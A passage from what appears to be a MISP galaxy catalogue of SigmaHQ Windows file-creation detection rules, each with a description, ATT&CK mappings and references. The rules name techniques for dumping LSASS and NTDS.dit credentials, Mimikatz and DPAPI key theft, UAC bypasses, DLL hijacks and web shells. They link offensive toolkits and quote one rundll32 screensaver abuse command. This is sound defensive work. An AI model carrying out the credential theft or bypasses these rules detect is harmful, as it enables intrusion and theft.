https://github.com/olafhartong/sysmon-modular/blob/fa1ae53132403d262be2bbd7f17ceea7e15e8c78/11_file_create/include_dotnet.xml
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_net_cli_artefact.yml

NTDS.DIT Created

Detects creation of a file named "ntds.dit" (Active Directory Database)

The tag is: *misp-galaxy:sigma-rules="NTDS.DIT Created"*

View relationships graph

NTDS.DIT Created has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="NTDS - T1003.003" with estimative-language:likelihood-probability="almost-certain"

Table 14733. Table References

Links
Internal Research[Internal Research]
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_ntds_dit_creation.yml

PSScriptPolicyTest Creation By Uncommon Process

Detects the creation of the "PSScriptPolicyTest" PowerShell script by an uncommon process. This file is usually generated by Microsoft Powershell to test against Applocker.

The tag is: *misp-galaxy:sigma-rules="PSScriptPolicyTest Creation By Uncommon Process"*

Table 14734. Table References

Links
https://www.paloaltonetworks.com/blog/security-operations/stopping-powershell-without-powershell/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_ps_script_policy_test_creation_by_uncommon_process.yml

Potential Winnti Dropper Activity

Detects files dropped by Winnti as described in RedMimicry Winnti playbook

The tag is: *misp-galaxy:sigma-rules="Potential Winnti Dropper Activity"*

View relationships graph

Potential Winnti Dropper Activity has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"

Table 14735. Table References

Links
https://redmimicry.com/posts/redmimicry-winnti/#dropper
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_redmimicry_winnti_filedrop.yml

UEFI Persistence Via Wpbbin - FileCreation

Detects creation of a file named "wpbbin" in the "%systemroot%\system32\" directory. Which could be indicative of UEFI based persistence method

The tag is: *misp-galaxy:sigma-rules="UEFI Persistence Via Wpbbin - FileCreation"*

View relationships graph

UEFI Persistence Via Wpbbin - FileCreation has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Firmware - T1542.001" with estimative-language:likelihood-probability="almost-certain"

Table 14736. Table References

Links
https://grzegorztworek.medium.com/using-uefi-to-inject-executable-files-into-bitlocker-protected-drives-8ff4ca59c94c
https://persistence-info.github.io/Data/wpbbin.html
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_wpbbin_persistence.yml

PDF File Created By RegEdit.EXE

Detects the creation of a file with the ".pdf" extension by the "RegEdit.exe" process. This indicates that a user is trying to print/save a registry key as a PDF in order to potentially extract sensitive information and bypass defenses.

The tag is: *misp-galaxy:sigma-rules="PDF File Created By RegEdit.EXE"*

Table 14737. Table References

Links

https://sensepost.com/blog/2024/dumping-lsa-secrets-a-story-about-task-decorrelation/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_regedit_print_as_pdf.yml

PowerShell Module File Created By Non-PowerShell Process

Detects the creation of a new PowerShell module ".psm1", ".psd1", ".dll", ".ps1", etc. by a non-PowerShell process

The tag is: *misp-galaxy:sigma-rules="PowerShell Module File Created By Non-PowerShell Process"*

Table 14738. Table References

Links
https://learn.microsoft.com/en-us/powershell/scripting/developer/module/understanding-a-windows-powershell-module?view=powershell-7.3
Internal Research[Internal Research]
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_powershell_module_uncommon_creation.yml

PCRE.NET Package Temp Files

Detects processes creating temp files related to PCRE.NET package

The tag is: *misp-galaxy:sigma-rules="PCRE.NET Package Temp Files"*

View relationships graph

PCRE.NET Package Temp Files has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1059" with estimative-language:likelihood-probability="almost-certain"

Table 14739. Table References

Links
https://twitter.com/tifkin_/status/1321916444557365248
https://twitter.com/rbmaslen/status/1321859647091970051
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_pcre_net_temp_file.yml

Potential DCOM InternetExplorer.Application DLL Hijack

Detects potential DLL hijack of "iertutil.dll" found in the DCOM InternetExplorer.Application Class over the network

The tag is: *misp-galaxy:sigma-rules="Potential DCOM InternetExplorer.Application DLL Hijack"*

View relationships graph

Potential DCOM InternetExplorer.Application DLL Hijack has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="SMB/Windows Admin Shares - T1021.002" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Distributed Component Object Model - T1021.003" with estimative-language:likelihood-probability="almost-certain"

Table 14740. Table References

Links
https://threathunterplaybook.com/hunts/windows/201009-RemoteDCOMIErtUtilDLLHijack/notebook.html
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_dcom_iertutil_dll_hijack.yml

Adwind RAT / JRAT File Artifact

Detects javaw.exe in AppData folder as used by Adwind / JRAT

The tag is: *misp-galaxy:sigma-rules="Adwind RAT / JRAT File Artifact"*

View relationships graph

Adwind RAT / JRAT File Artifact has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Visual Basic - T1059.005" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="JavaScript - T1059.007" with estimative-language:likelihood-probability="almost-certain"

Table 14741. Table References

Links
https://www.hybrid-analysis.com/sample/ba86fa0d4b6af2db0656a88b1dd29f36fe362473ae8ad04255c4e52f214a541c?environmentId=100

https://www.first.org/resources/papers/conf2017/Advanced-Incident-Detection-and-Threat-Hunting-using-Sysmon-and-Splunk.pdf
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_mal_adwind.yml

TeamViewer Remote Session

Detects the creation of log files during a TeamViewer remote session

The tag is: *misp-galaxy:sigma-rules="TeamViewer Remote Session"*

View relationships graph

TeamViewer Remote Session has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Remote Desktop Software - T1219.002" with estimative-language:likelihood-probability="almost-certain"

Table 14742. Table References

Links
https://www.teamviewer.com/en-us/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_teamviewer_remote_session.yml

Malicious DLL File Dropped in the Teams or OneDrive Folder

Detects creation of a malicious DLL file in the location where the OneDrive or Team applications Upon execution of the Teams or OneDrive application, the dropped malicious DLL file ("iphlpapi.dll") is sideloaded

The tag is: *misp-galaxy:sigma-rules="Malicious DLL File Dropped in the Teams or OneDrive Folder"*

View relationships graph

Malicious DLL File Dropped in the Teams or OneDrive Folder has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="DLL - T1574.001" with estimative-language:likelihood-probability="almost-certain"

Table 14743. Table References

Links
https://blog.cyble.com/2022/07/27/targeted-attacks-being-carried-out-via-dll-sideloading/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_iphlpapi_dll_sideloading.yml

Potential Homoglyph Attack Using Lookalike Characters in Filename

Detects the presence of unicode characters which are homoglyphs, or identical in appearance, to ASCII letter characters. This is used as an obfuscation and masquerading techniques. Only "perfect" homoglyphs are included; these are characters that are indistinguishable from ASCII characters and thus may make excellent candidates for homoglyph attack characters.

The tag is: *misp-galaxy:sigma-rules="Potential Homoglyph Attack Using Lookalike Characters in Filename"*

View relationships graph

Potential Homoglyph Attack Using Lookalike Characters in Filename has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Rename Legitimate Utilities - T1036.003" with estimative-language:likelihood-probability="almost-certain"

Table 14744. Table References

Links
http://www.irongeek.com/homoglyph-attack-generator.php
https://redcanary.com/threat-detection-report/threats/socgholish/#threat-socgholish
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_homoglyph_filename.yml

WerFault LSASS Process Memory Dump

Detects WerFault creating a dump file with a name that indicates that the dump file could be an LSASS process memory, which contains user credentials

The tag is: *misp-galaxy:sigma-rules="WerFault LSASS Process Memory Dump"*

View relationships graph

WerFault LSASS Process Memory Dump has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"

Table 14745. Table References

Links
https://github.com/helpsystems/nanodump

https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_lsass_werfault_dump.yml

Legitimate Application Dropped Executable

Detects programs on a Windows system that should not write executables to disk

The tag is: *misp-galaxy:sigma-rules="Legitimate Application Dropped Executable"*

View relationships graph

Legitimate Application Dropped Executable has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"

Table 14746. Table References

Links
https://github.com/Neo23x0/sysmon-config/blob/3f808d9c022c507aae21a9346afba4a59dd533b9/sysmonconfig-export-block.xml#L1326
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_legitimate_app_dropping_exe.yml

NTDS.DIT Creation By Uncommon Process

Detects creation of a file named "ntds.dit" (Active Directory Database) by an uncommon process or a process located in a suspicious directory

The tag is: *misp-galaxy:sigma-rules="NTDS.DIT Creation By Uncommon Process"*

View relationships graph

NTDS.DIT Creation By Uncommon Process has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Security Account Manager - T1003.002" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="NTDS - T1003.003" with estimative-language:likelihood-probability="almost-certain"

Table 14747. Table References

Links
https://adsecurity.org/?p=2398
https://stealthbits.com/blog/extracting-password-hashes-from-the-ntds-dit-file/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_ntds_dit_uncommon_process.yml

Writing Local Admin Share

Aversaries may use to interact with a remote network share using Server Message Block (SMB). This technique is used by post-exploitation frameworks.

The tag is: *misp-galaxy:sigma-rules="Writing Local Admin Share"*

View relationships graph

Writing Local Admin Share has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Screensaver - T1546.002" with estimative-language:likelihood-probability="almost-certain"

Table 14748. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1021.002/T1021.002.md#atomic-test-4---execute-command-writing-output-to-local-admin-share
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_writing_local_admin_share.yml

Suspicious MSExchangeMailboxReplication ASPX Write

Detects suspicious activity in which the MSExchangeMailboxReplication process writes .asp and .apsx files to disk, which could be a sign of ProxyShell exploitation

The tag is: *misp-galaxy:sigma-rules="Suspicious MSExchangeMailboxReplication ASPX Write"*

View relationships graph

Suspicious MSExchangeMailboxReplication ASPX Write has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Exploit Public-Facing Application - T1190" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Web Shell - T1505.003" with estimative-language:likelihood-probability="almost-certain"

Table 14749. Table References

Links
https://redcanary.com/blog/blackbyte-ransomware/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_exchange_aspx_write.yml

Files With System Process Name In Unsuspected Locations

Detects the creation of an executable with a system process name in folders other than the system ones (System32, SysWOW64, etc.). It is highly recommended to perform an initial baseline before using this rule in production.

The tag is: *misp-galaxy:sigma-rules="Files With System Process Name In Unsuspected Locations"*

View relationships graph

Files With System Process Name In Unsuspected Locations has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Match Legitimate Resource Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"

Table 14750. Table References

Links
Internal Research[Internal Research]
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_creation_system_file.yml

HackTool - Potential Remote Credential Dumping Activity Via CrackMapExec Or Impacket-Secretsdump

Detects default filenames output from the execution of CrackMapExec and Impacket-secretsdump against an endpoint.

The tag is: *misp-galaxy:sigma-rules="HackTool - Potential Remote Credential Dumping Activity Via CrackMapExec Or Impacket-Secretsdump"*

View relationships graph

HackTool - Potential Remote Credential Dumping Activity Via CrackMapExec Or Impacket-Secretsdump has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="OS Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"

Table 14751. Table References

Links
https://github.com/fortra/impacket/blob/ff8c200fd040b04d3b5ff05449646737f836235d/examples/secretsdump.py
https://github.com/Porchetta-Industries/CrackMapExec

https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_hktl_remote_cred_dump.yml

UAC Bypass Using IEInstal - File

Detects the pattern of UAC Bypass using IEInstal.exe (UACMe 64)

The tag is: *misp-galaxy:sigma-rules="UAC Bypass Using IEInstal - File"*

View relationships graph

UAC Bypass Using IEInstal - File has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1548.002" with estimative-language:likelihood-probability="almost-certain"

Table 14752. Table References

Links
https://github.com/hfiref0x/UACME
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_uac_bypass_ieinstal.yml

Publisher Attachment File Dropped In Suspicious Location

Detects creation of files with the ".pub" extension in suspicious or uncommon locations. This could be a sign of attackers abusing Publisher documents

The tag is: *misp-galaxy:sigma-rules="Publisher Attachment File Dropped In Suspicious Location"*

Table 14753. Table References

Links
https://twitter.com/EmericNasi/status/1623224526220804098
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_office_publisher_files_in_susp_locations.yml

Suspicious File Write to SharePoint Layouts Directory

Detects suspicious file writes to SharePoint layouts directory which could indicate webshell activity or post-exploitation. This behavior has been observed in the exploitation of SharePoint vulnerabilities such as CVE-2025-49704, CVE-2025-49706 or CVE-2025-53770.

The tag is: *misp-galaxy:sigma-rules="Suspicious File Write to SharePoint Layouts Directory"*

View relationships graph

Suspicious File Write to SharePoint Layouts Directory has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Exploit Public-Facing Application - T1190" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Web Shell - T1505.003" with estimative-language:likelihood-probability="almost-certain"

Table 14754. Table References

Links
https://www.microsoft.com/en-us/security/blog/2025/07/22/disrupting-active-exploitation-of-on-premises-sharepoint-vulnerabilities/
https://unit42.paloaltonetworks.com/microsoft-sharepoint-cve-2025-49704-cve-2025-49706-cve-2025-53770/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_filewrite_in_sharepoint_layouts_dir.yml

Potential Binary Or Script Dropper Via PowerShell

Detects PowerShell creating a binary executable or a script file.

The tag is: *misp-galaxy:sigma-rules="Potential Binary Or Script Dropper Via PowerShell"*

Table 14755. Table References

Links
https://www.zscaler.com/blogs/security-research/onenote-growing-threat-malware-distribution
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_powershell_drop_binary_or_script.yml

Windows Shell/Scripting Application File Write to Suspicious Folder

Detects Windows shells and scripting applications that write files to suspicious folders

The tag is: *misp-galaxy:sigma-rules="Windows Shell/Scripting Application File Write to Suspicious Folder"*

View relationships graph

Windows Shell/Scripting Application File Write to Suspicious Folder has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1059" with estimative-language:likelihood-probability="almost-certain"

Table 14756. Table References

Links
Internal Research[Internal Research]
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_shell_write_susp_directory.yml

Uncommon File Created In Office Startup Folder

Detects the creation of a file with an uncommon extension in an Office application startup folder

The tag is: *misp-galaxy:sigma-rules="Uncommon File Created In Office Startup Folder"*

View relationships graph

Uncommon File Created In Office Startup Folder has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Malware - T1587.001" with estimative-language:likelihood-probability="almost-certain"

Table 14757. Table References

Links
https://en.wikipedia.org/wiki/List_of_Microsoft_Office_filename_extensions
http://addbalance.com/word/startup.htm
https://app.any.run/tasks/d6fe6624-6ef8-485d-aa75-3d1bdda2a08c/
https://answers.microsoft.com/en-us/msoffice/forum/all/document-in-word-startup-folder-doesnt-open-when/44ab0932-2917-4150-8cdc-2f2cf39e86f3
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_office_uncommon_file_startup.yml

DPAPI Backup Keys And Certificate Export Activity IOC

Detects file names with specific patterns seen generated and used by tools such as Mimikatz and DSInternals related to exported or stolen DPAPI backup keys and certificates.

The tag is: *misp-galaxy:sigma-rules="DPAPI Backup Keys And Certificate Export Activity IOC"*

View relationships graph

DPAPI Backup Keys And Certificate Export Activity IOC has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Credentials from Password Stores - T1555" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Private Keys - T1552.004" with estimative-language:likelihood-probability="almost-certain"

Table 14758. Table References

Links
https://github.com/MichaelGrafnetter/DSInternals/blob/39ee8a69bbdc1cfd12c9afdd7513b4788c4895d4/Src/DSInternals.Common/Data/DPAPI/DPAPIBackupKey.cs#L28-L32
https://www.dsinternals.com/en/dpapi-backup-key-theft-auditing/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_dpapi_backup_and_cert_export_ioc.yml

HackTool - Mimikatz Kirbi File Creation

Detects the creation of files created by mimikatz such as ".kirbi", "mimilsa.log", etc.

The tag is: *misp-galaxy:sigma-rules="HackTool - Mimikatz Kirbi File Creation"*

View relationships graph

HackTool - Mimikatz Kirbi File Creation has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Steal or Forge Kerberos Tickets - T1558" with estimative-language:likelihood-probability="almost-certain"

Table 14759. Table References

Links
https://cobalt.io/blog/kerberoast-attack-techniques
https://pentestlab.blog/2019/10/21/persistence-security-support-provider/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_hktl_mimikatz_files.yml

Potential Persistence Via Notepad++ Plugins

Detects creation of new ".dll" files inside the plugins directory of a notepad++ installation by a process other than "gup.exe". Which could indicates possible persistence

The tag is: *misp-galaxy:sigma-rules="Potential Persistence Via Notepad++ Plugins"*

Table 14760. Table References

Links
https://pentestlab.blog/2022/02/14/persistence-notepad-plugins/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_notepad_plus_plus_persistence.yml

Malicious PowerShell Scripts - FileCreation

Detects the creation of known offensive powershell scripts used for exploitation

The tag is: *misp-galaxy:sigma-rules="Malicious PowerShell Scripts - FileCreation"*

View relationships graph

Malicious PowerShell Scripts - FileCreation has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 14761. Table References

Links
https://github.com/NetSPI/PowerUpSQL
https://github.com/S3cur3Th1sSh1t/WinPwn
https://github.com/rvrsh3ll/Misc-Powershell-Scripts/blob/6f23bb41f9675d7e2d32bacccff75e931ae00554/OfficeMemScraper.ps1
https://unit42.paloaltonetworks.com/threat-assessment-black-basta-ransomware/
https://github.com/xorrior/RandomPS-Scripts/blob/848c919bfce4e2d67b626cbcf4404341cfe3d3b6/Get-DXWebcamVideo.ps1
https://web.archive.org/web/20210511204621/https://github.com/AlsidOfficial/WSUSpendu
https://github.com/nettitude/Invoke-PowerThIEf
https://github.com/DarkCoderSc/PowerRunAsSystem/
https://github.com/The-Viper-One/Invoke-PowerDPAPI/
https://github.com/HarmJ0y/DAMP
https://github.com/Kevin-Robertson/Powermad
https://github.com/BC-SECURITY/Invoke-ZeroLogon/blob/111d17c7fec486d9bb23387e2e828b09a26075e4/Invoke-ZeroLogon.ps1
https://github.com/dafthack/DomainPasswordSpray/blob/b13d64a5834694aa73fd2aea9911a83027c465a7/DomainPasswordSpray.ps1
https://github.com/Arno0x/DNSExfiltrator/
https://github.com/adrecon/ADRecon
https://research.nccgroup.com/2022/06/06/shining-the-light-on-black-basta/
https://github.com/besimorhino/powercat
https://github.com/PowerShellMafia/PowerSploit
https://github.com/CsEnox/EventViewer-UACBypass
https://github.com/S3cur3Th1sSh1t/PowerSharpPack/tree/master/PowerSharpBinaries

https://github.com/sadshade/veeam-creds/blob/6010eaf31ba41011b58d6af3950cffbf6f5cea32/Veeam-Get-Creds.ps1
https://github.com/adrecon/AzureADRecon
https://github.com/samratashok/nishang
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_powershell_exploit_scripts.yml

Dynamic CSharp Compile Artefact

When C# is compiled dynamically, a .cmdline file will be created as a part of the process. Certain processes are not typically observed compiling C# code, but can do so without touching disk. This can be used to unpack a payload for execution

The tag is: *misp-galaxy:sigma-rules="Dynamic CSharp Compile Artefact"*

View relationships graph

Dynamic CSharp Compile Artefact has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Compile After Delivery - T1027.004" with estimative-language:likelihood-probability="almost-certain"

Table 14762. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1027.004/T1027.004.md#atomic-test-2---dynamic-c-compile
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_csharp_compile_artefact.yml

LSASS Process Memory Dump Creation Via Taskmgr.EXE

Detects the creation of an "lsass.dmp" file by the taskmgr process. This indicates a manual dumping of the LSASS.exe process memory using Windows Task Manager.

The tag is: *misp-galaxy:sigma-rules="LSASS Process Memory Dump Creation Via Taskmgr.EXE"*

View relationships graph

LSASS Process Memory Dump Creation Via Taskmgr.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"

Table 14763. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/987e3ca988ae3cff4b9f6e388c139c05bf44bbb8/atomics/T1003.001/T1003.001.md#L1
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_taskmgr_lsass_dump.yml

PSEXEC Remote Execution File Artefact

Detects creation of the PSEXEC key file. Which is created anytime a PsExec command is executed. It gets written to the file system and will be recorded in the USN Journal on the target system

The tag is: *misp-galaxy:sigma-rules="PSEXEC Remote Execution File Artefact"*

View relationships graph

PSEXEC Remote Execution File Artefact has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Domain Account - T1136.002" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Lateral Tool Transfer - T1570" with estimative-language:likelihood-probability="almost-certain"

Table 14764. Table References

Links
https://aboutdfir.com/the-key-to-identify-psexec/
https://twitter.com/davisrichardg/status/1616518800584704028
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_sysinternals_psexec_service_key.yml

LSASS Process Memory Dump Files

Detects creation of files with names used by different memory dumping tools to create a memory dump of the LSASS process memory, which contains user credentials.

The tag is: *misp-galaxy:sigma-rules="LSASS Process Memory Dump Files"*

View relationships graph

LSASS Process Memory Dump Files has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"

Table 14765. Table References

Links
https://medium.com/@markmotig/some-ways-to-dump-lsass-exe-c4a75fdc49bf
https://github.com/ricardojoserf/NativeDump/blob/01d8cd17f31f51f5955a38e85cd3c83a17596175/NativeDump/Program.cs#L258
https://github.com/elastic/detection-rules/blob/c76a39796972ecde44cb1da6df47f1b6562c9770/rules/windows/credential_access_lsass_memdump_file_created.toml
https://github.com/safedv/RustiveDump/blob/1a9b026b477587becfb62df9677cede619d42030/src/main.rs#L35
https://www.whiteoaksecurity.com/blog/attacks-defenses-dumping-lsass-no-mimikatz/
https://github.com/helpsystems/nanodump
https://github.com/CCob/MirrorDump
https://www.google.com/search?q=procdump+lsass
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_lsass_default_dump_file_names.yml

UAC Bypass Using NTFS Reparse Point - File

Detects the pattern of UAC Bypass using NTFS reparse point and wusa.exe DLL hijacking (UACMe 36)

The tag is: *misp-galaxy:sigma-rules="UAC Bypass Using NTFS Reparse Point - File"*

View relationships graph

UAC Bypass Using NTFS Reparse Point - File has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1548.002" with estimative-language:likelihood-probability="almost-certain"

Table 14766. Table References

Links
https://github.com/hfiref0x/UACME
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_uac_bypass_ntfs_reparse_point.yml

Suspicious Scheduled Task Write to System32 Tasks

Detects the creation of tasks from processes executed from suspicious locations

The tag is: *misp-galaxy:sigma-rules="Suspicious Scheduled Task Write to System32 Tasks"*

View relationships graph

Suspicious Scheduled Task Write to System32 Tasks has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Scheduled Task/Job - T1053" with estimative-language:likelihood-probability="almost-certain"

Table 14767. Table References

Links
Internal Research[Internal Research]
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_task_write.yml

ISO or Image Mount Indicator in Recent Files

Detects the creation of recent element file that points to an .ISO, .IMG, .VHD or .VHDX file as often used in phishing attacks. This can be a false positive on server systems but on workstations users should rarely mount .iso or .img files.

The tag is: *misp-galaxy:sigma-rules="ISO or Image Mount Indicator in Recent Files"*

View relationships graph

ISO or Image Mount Indicator in Recent Files has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1566.001" with estimative-language:likelihood-probability="almost-certain"

Table 14768. Table References

Links
https://insights.sei.cmu.edu/blog/the-dangers-of-vhd-and-vhdx-files/
https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/malicious-spam-campaign-uses-iso-image-files-to-deliver-lokibot-and-nanocore
https://www.microsoft.com/security/blog/2021/05/27/new-sophisticated-email-based-attack-from-nobelium/
https://blog.emsisoft.com/en/32373/beware-new-wave-of-malware-spreads-via-iso-file-email-attachments/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_iso_file_recent.yml

Creation Exe for Service with Unquoted Path

Adversaries may execute their own malicious payloads by hijacking vulnerable file path references. Adversaries can take advantage of paths that lack surrounding quotations by placing an executable in a higher level directory within the path, so that Windows will choose the adversary's executable to launch.

The tag is: *misp-galaxy:sigma-rules="Creation Exe for Service with Unquoted Path"*

View relationships graph

Creation Exe for Service with Unquoted Path has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Shortcut Modification - T1547.009" with estimative-language:likelihood-probability="almost-certain"

Table 14769. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1574.009/T1574.009.md
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_creation_unquoted_service_path.yml

Windows Terminal Profile Settings Modification By Uncommon Process

Detects the creation or modification of the Windows Terminal Profile settings file "settings.json" by an uncommon process.

The tag is: *misp-galaxy:sigma-rules="Windows Terminal Profile Settings Modification By Uncommon Process"*

View relationships graph

Windows Terminal Profile Settings Modification By Uncommon Process has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Login Items - T1547.015" with estimative-language:likelihood-probability="almost-certain"

Table 14770. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/74438b0237d141ee9c99747976447dc884cb1a39/atomics/T1547.015/T1547.015.md#atomic-test-1---persistence-by-modifying-windows-terminal-profile
https://twitter.com/nas_bench/status/1550836225652686848
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_windows_terminal_profile.yml

Suspicious Files in Default GPO Folder

Detects the creation of copy of suspicious files (EXE/DLL) to the default GPO storage folder

The tag is: *misp-galaxy:sigma-rules="Suspicious Files in Default GPO Folder"*

View relationships graph

Suspicious Files in Default GPO Folder has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Match Legitimate Resource Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"

Table 14771. Table References

Links
https://redcanary.com/blog/intelligence-insights-november-2021/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_default_gpo_dir_write.yml

SCR File Write Event

Detects the creation of screensaver files (.scr) outside of system folders. Attackers may execute an application as an ".SCR" file using "rundll32.exe desk.cpl,InstallScreenSaver" for example.

The tag is: *misp-galaxy:sigma-rules="SCR File Write Event"*

View relationships graph

SCR File Write Event has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Rundll32 - T1218.011" with estimative-language:likelihood-probability="almost-certain"

Table 14772. Table References

Links
https://lolbas-project.github.io/lolbas/Libraries/Desk/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_new_scr_file.yml

Wmiprvse Wbemcomn DLL Hijack - File

Detects a threat actor creating a file named `wbemcomn.dll` in the `C:\Windows\System32\wbem\` directory over the network and loading it for a WMI DLL Hijack scenario.

The tag is: *misp-galaxy:sigma-rules="Wmiprvse Wbemcomn DLL Hijack - File"*

View relationships graph

Wmiprvse Wbemcomn DLL Hijack - File has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="SMB/Windows Admin Shares - T1021.002" with

estimative-language:likelihood-probability="almost-certain"

Table 14773. Table References

Links
https://threathunterplaybook.com/hunts/windows/201009-RemoteWMIWbemcomnDLLHijack/notebook.html
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_wmiprvse_wbemcomn_dll_hijack.yml
